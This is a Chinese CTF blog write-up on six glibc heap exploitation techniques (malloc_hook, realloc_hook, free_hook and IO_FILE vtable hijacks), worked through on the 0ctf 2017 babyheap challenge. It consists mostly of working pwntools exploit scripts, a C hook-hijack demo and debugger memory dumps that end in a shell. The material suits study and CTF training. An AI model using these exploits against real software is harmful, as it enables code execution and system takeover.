avatar

堆的六种利用方式

背景:

例题是: babyheap_0ctf_2017

环境:ubuntu 16

malloc_hook

from pwn import *
context.log_level = "debug"
elf = ELF("./babyheap")
libc = ELF("/home/joe1sn/libc/64/libc-2.23.so")
p = process("./babyheap")

def add(sz):
p.sendlineafter(": ","1")
p.sendlineafter(": ",str(sz))

def fill(idx,text):
p.sendlineafter(": ","2")
p.sendlineafter(": ",str(idx))
p.sendlineafter(": ",str(len(text)))
p.sendlineafter(": ",text)

def free(idx):
p.sendlineafter(": ","3")
p.sendlineafter(": ",str(idx))

def dump(idx):
p.sendlineafter(": ","4")
p.sendlineafter(": ",str(idx))


if __name__ == '__main__':
add(0x60) #0
add(0x30) #1
add(0x100) #2
add(0x10) #3 prevent consolidate

#gdb.attach(p)
fill(0,'a'*0x60+p64(0)+p64(0x71))
fill(2,p64(0)*5+p64(0x71))
free(1)
add(0x60) #1
#gdb.attach(p)
fill(1,'a'*0x30+p64(0)+p64(0x111))
free(2)
#gdb.attach(p)
dump(1)
leak = u64(p.recvuntil("\x7f\x00\x00")[-8:])
base=leak-0x3c4b78
malloc_hook=base+libc.sym["__malloc_hook"]
onegedget = base+0x4526a
log.success("leak addr=>0x%x",leak)
log.success("libc base=>0x%x",base)
log.success("malloc hook=>0x%x",malloc_hook)
log.success("onegedget=>0x%x",onegedget)

free(1)
fill(0,'a'*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23))
add(0x60) #2
add(0x60) #1 fake_chunks

fill(2,'a'*(35-16)+p64(onegedget))
add(0x10)
p.interactive()
  • 1.chunk extend & overlapping: 泄露libc_base
  • 2.fastbin attack:修改malloc_hook为one_gadget来执行exec("/bin/sh")
  • 详细:BUUCTF_HEAP_1

realloc_hook

- 关于one_gadget

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0x4526a: 在libc中的偏移

execve("/bin/sh", rsp+0x30, environ): 执行的代码

constraints: 必要条件(这里就是rsp+0x30=null)

- 关于realloc

0x7f064d9456c0 <__GI___libc_realloc>:    push   r15
0x7f064d9456c2 <__GI___libc_realloc+2>: push r14
0x7f064d9456c4 <__GI___libc_realloc+4>: push r13
0x7f064d9456c6 <__GI___libc_realloc+6>: push r12
0x7f064d9456c8 <__GI___libc_realloc+8>: mov r13,rsi
0x7f064d9456cb <__GI___libc_realloc+11>: push rbp
0x7f064d9456cc <__GI___libc_realloc+12>: push rbx
0x7f064d9456cd <__GI___libc_realloc+13>: mov rbx,rdi
0x7f064d9456d0 <__GI___libc_realloc+16>: sub rsp,0x38
....................................... .... .........
0x7f064d945786 <__GI___libc_realloc+198>: pop rbp
0x7f064d945787 <__GI___libc_realloc+199>: pop r12
0x7f064d945789 <__GI___libc_realloc+201>: pop r13
0x7f064d94578b <__GI___libc_realloc+203>: pop r14
0x7f064d94578d <__GI___libc_realloc+205>: pop r15

push和pop是对应的,我们可以控制push的数量来抬高栈,促使one_gadget条件成立

- 使条件成立

//code:
free(1)
fill(0,'a'*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23))
add(0x60) #2
add(0x60) #1 fake_chunks
fill(2,'a'*(35-16-8)+p64(onegedget)+p64(realloc))
print util.proc.pidof(p)
gdb.attach(p)

RSP查看:

pwndbg> x/32gx $rsp+0x30
0x7ffeca5e3da8: 0xeb6d0107a91d9e00 0x00007ffeca5e3dd0
0x7ffeca5e3db8: 0x000055588f4043b4 0x000055588f403a40
0x7ffeca5e3dc8: 0xeb6d0107a91d9e00 0x00007ffeca5e3df0
0x7ffeca5e3dd8: 0x000055588f404147 0x00007ffeca5e3ed0
0x7ffeca5e3de8: 0x00004523498a3230 0x000055588f4043e0
0x7ffeca5e3df8: 0x00007fcd6922d830 0x0000000000000001
0x7ffeca5e3e08: 0x00007ffeca5e3ed8 0x00000001697fcca0
0x7ffeca5e3e18: 0x000055588f40411d 0x0000000000000000
0x7ffeca5e3e28: 0xc37a13cc1fa7aab6 0x000055588f403a40
0x7ffeca5e3e38: 0x00007ffeca5e3ed0 0x0000000000000000
0x7ffeca5e3e48: 0x0000000000000000 0x963699f0e467aab6
0x7ffeca5e3e58: 0x9651df0937b7aab6 0x0000000000000000
0x7ffeca5e3e68: 0x0000000000000000 0x0000000000000000
0x7ffeca5e3e78: 0x00007ffeca5e3ee8 0x00007fcd697fe168
0x7ffeca5e3e88: 0x00007fcd695e77db 0x0000000000000000
0x7ffeca5e3e98: 0x0000000000000000 0x000055588f403a40

realloc+0:$rsp+0x30仍未满足条件

#code
fill(2,'a'*(35-16-8)+p64(onegedget)+p64(realloc+8))

RSP查看

pwndbg> x/32gx $rsp+0x30
0x7ffead1cc1e8: 0x0000000000000000 0x00007ffead1cc230
0x7ffead1cc1f8: 0x0000000000000000 0x000000000000000a
0x7ffead1cc208: 0x00007fa568041fba 0x0000000000000000
0x7ffead1cc218: 0x0000000000000000 0x00007ffead1cc260
0x7ffead1cc228: 0x000055c8f9567a40 0x00007ffead1cc360
0x7ffead1cc238: 0x000055c8f9567dd1 0x0000000000000000
0x7ffead1cc248: 0x00004c7c0112c580 0x0000000a00000004
0x7ffead1cc258: 0x1ae71441d4cd5900 0x00007ffead1cc280
0x7ffead1cc268: 0x000055c8f956817a 0x00007ffead1cc360
0x7ffead1cc278: 0x00004c7c0112c580 0x000055c8f95683e0
0x7ffead1cc288: 0x00007fa567fdd830 0x0000000000000001
0x7ffead1cc298: 0x00007ffead1cc368 0x00000001685acca0
0x7ffead1cc2a8: 0x000055c8f956811d 0x0000000000000000
0x7ffead1cc2b8: 0x199b20cfb91a15e7 0x000055c8f9567a40
0x7ffead1cc2c8: 0x00007ffead1cc360 0x0000000000000000
0x7ffead1cc2d8: 0x0000000000000000 0x4df7885b3bfa15e7

条件达成

EXP:

free(1)
fill(0,'a'*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23))
add(0x60) #2
add(0x60) #1 fake_chunks
fill(2,'a'*(35-16-8)+p64(onegedget)+p64(realloc))
print util.proc.pidof(p)
gdb.attach(p)

free_hook

关于 free_hook

直接上一个攻击demo

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

extern void (*__free_hook) (void *__ptr,const void *);

int main()
{
char *str = malloc(160);
strcpy(str,"/bin/sh");

printf("__free_hook: 0x%016X\n",__free_hook);
// 劫持__free_hook
__free_hook = system;

free(str);
return 0;
}

关键在于free_hook附近为0里的值很多,有两种利用方式

  • unsortedbin_attack
  • 修改top_chunk在free_hook上方

- unsortedbin_attack

原理同攻击demo

EXP中含有注释,注释中的地址十多次调试后的地址,所以每次不同

EXP:

#leak 部分都差不多,就不放出来了
add(0x68)#4-->2
add(0x18)#5
add(0x88)#6
add(0x18)#7
free(6)
fill(5,'a'*0x18+p64(0x91)+p64(0)+p64(free_hook-0x23))
add(0x88)#6 ->freehook-0x23
free(2)
'''
unsortedbin
all [corrupted]
FD: <- chunk5
BK: (_IO_stdfile_1_lock+5) <-free_hook-0x23 chunk6
'''
payload = p64(free_hook-0x16) #fastbin attack
'''
<_IO_stdfile_0_lock+2>: 0xf2a9244b78000000
<_IO_stdfile_0_lock+10>: 0x000000000000007f
'''
fill(4,payload) #top_chunk->free_hook -0x23
#chunk4==chunk2
'''
FASTBIN chunk_2{
prev_size = 0,
size = 113,
fd = <_IO_stdfile_0_lock+2>,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
fastbins
0x70: chunk_2 0x7f2cd3171792 (_IO_stdfile_0_lock+2)
'''
add(0x60)#2.fd -> <_IO_stdfile_0_lock+2>
add(0x60)#8 <_IO_stdfile_0_lock+2>
fill(8,"a"*0x6+p64(sys_addr))
'''
<_IO_stdfile_0_lock+2>:
0xe78cf5db78000000 0x000000000000007f
<__after_morecore_hook+2>:
0xe390616161616161 0x000000007fe78cbd
'''
gdb.attach(p)
fill(0,"/bin/sh\x00")
free(0)
p.interactive()

大致说来就是找到free_hook上方不为0的地址申请一个堆,实现free_hook利用

- 修改top_chunk在free_hook上方

同malloc_hook类似,在调用free函数时会先检验free_hook的值。
但是free_hook上方都是0字节。不能直接通过fastbin_attack进行攻击,可以通过修改top_chunk到free_hook上方,之后申请内存至free_hook修改为system地址。

free_hook-0xb58位置存在可利用数据用来修改topchunk。

?为啥是0xb58:类似于malloc_hook-35

该段中的 ‘a’是为了方便调试,但会破坏堆栈结构,真正的EXP最好用’\x00’

add(0x68)#4--->2
free(2)#free--4 in fastbin
fill(4,p64(malloc_hook-0xb))
add(0x68)#2
add(0x68)#5 -->malloc_hook-0x3-0x8
payload = (0x60+0x3)*"a"+p64(free_hook-0xb58)
fill(5,payload)
for i in range(6):
add(0x200)
#进行多次申请就可以申请到free_hook处的位置进行getshell
payload = '\x00'*(0xa0+0x58)+p64(sys_addr)
fill(5+6,payload)
fill(0,"/bin/sh\x00")
free(0)
p.interactive()

覆盖top_chunk前

<__malloc_hook>:	0x0000000000000000	0x0000000000000000
<main_arena+00>: 0x0000000000000000 0x0000000000000000
<main_arena+16>: 0x0000000000000000 0x0000000000000000
<main_arena+32>: 0x0000000000000000 0x0000000000000000
<main_arena+48>: 0x000055815d2b1040 0x0000000000000000
<main_arena+64>: 0x0000000000000000 0x0000000000000000
<main_arena+80>: 0x0000000000000000 0x000055815d2b10d0 <-top chunk
<main_arena+96>: 0x000055815d2b1040 0x00007f881797fb78
<main_arena+112>: 0x00007f881797fb78 0x00007f881797fb88

覆盖top_chunk后

<__malloc_hook>:	0x6161610000000000	0x6161616161616161
<main_arena+00>: 0x6161616161616161 0x6161616161616161
<main_arena+16>: 0x6161616161616161 0x6161616161616161
<main_arena+32>: 0x6161616161616161 0x6161616161616161
<main_arena+48>: 0x6161616161616161 0x6161616161616161
<main_arena+64>: 0x6161616161616161 0x6161616161616161
<main_arena+80>: 0x6161616161616161 0x00007f357414dc50
top_chunk=freehhook-0xb58
<main_arena+96>: 0x00005563a0faf040 0x00007f357414cb78

之后便可以通过反复申请堆来覆盖free_hook为system

IO_FILE

个人理解:

说白了就是IO时候的缓冲区 输入区 输出区 都存在一些指针,在_IO_FILE中,这些指针行使各自的功能,如:将输入到向特定缓冲的内存…

外部调用是通过_IO_FILE形成的 _IO_jump_t(虚表)中的函数来调用这些指针,我们劫持这些指针来修改堆

资料:新手向——IO_file全流程浅析

io_overflow

将虚表地址设置为IO_str_jumps地址,fd+0xe0设置为one_gadget即可完成利用

add(0x18)#0
add(0x18)#1
add(0x88)#2
add(0x18)#3
edit(0,0x18+0x8,0x18*'a'+p64(0xb1))
free(1)
add(0x18)
show(2)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x3c4b78
print "libc_base: "+hex(libc_base)
sys_addr = libc_base+0x45390
io_list = 0x3c5520+libc_base
jump = libc_base+libc.symbols["_IO_file_jumps"]+0xc0
sh_addr = 0x18cd57+libc_base
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
one = o_g[1]+libc_base
print "jump:"+hex(jump)
print "io_list:"+hex(io_list)
print "sys_addr:"+hex(sys_addr)

payload = 0x10*'a'+p64(0)+p64(0x61)+p64(0)+p64(io_list-0x10)+p64(0)+p64(1)
payload += p64(0)+p64(0)
payload = payload.ljust(0xc8,"\x00")
payload += p64(0)*4
payload += p64(jump)+p64(one)

edit(1,len(payload),payload)
add(0x60)
p.interactive()

并不推荐这种方法,因为程序可以在报错的情况下拿到shell,而且io的指针可能会被其他程序占用,导致失败

io结构体

pwndbg> p *(struct _IO_FILE_plus *) stdin
$1 = {
file = {
_flags = -72540021,
_IO_read_ptr = 0x7f0213cce963 <_IO_2_1_stdin_+131> "",
_IO_read_end = 0x7f0213cce963 <_IO_2_1_stdin_+131> "",
_IO_read_base = 0x7f0213cce963 <_IO_2_1_stdin_+131> "",
_IO_write_base = 0x7f0213cce963 <_IO_2_1_stdin_+131> "",
_IO_write_ptr = 0x7f0213cce963 <_IO_2_1_stdin_+131> "",
_IO_write_end = 0x7f0213cce963 <_IO_2_1_stdin_+131> "",
_IO_buf_base = 0x7f0213cce963 <_IO_2_1_stdin_+131> "",
_IO_buf_end = 0x7f0213cce964 <_IO_2_1_stdin_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7f0213cd0790 <_IO_stdfile_0_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7f0213cce9c0 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f0213ccd6e0 <_IO_file_jumps>
}

io_finsh

同之前io_overflow类似,io_finish会以_IO_buf_base处的值为参数跳转至fd+0xe8处的值。
设置虚表地址为io_str_jump-0x8(异常总会调用虚标+0x18处的函数)
设置_IO_buf_base为bin/sh字符串地址,设置0xe8偏移处为system函数。
相较io_overflow不会有one_gadget不可用的情况。

可以注意到,IO_file attack 的利用并不是百分百成功,必须要libc的低32位地址为负时,攻击才会成功,原因还是出在fflush函数的检查里,它第二步才是跳转,第一步的检查,在arena里的伪造file结构中这两个值,绝对值一定可以通过,那么就会直接执行虚表函数。所以只有为负时,才会check失效

​ --链接:堆利用的手法

IO_FILE遇见合适的题会补充

资料

Author: Joe1sn
Link: http://blog.joe1sn.top/2020/%E5%A0%86%E7%9A%84%E5%85%AD%E7%A7%8D%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信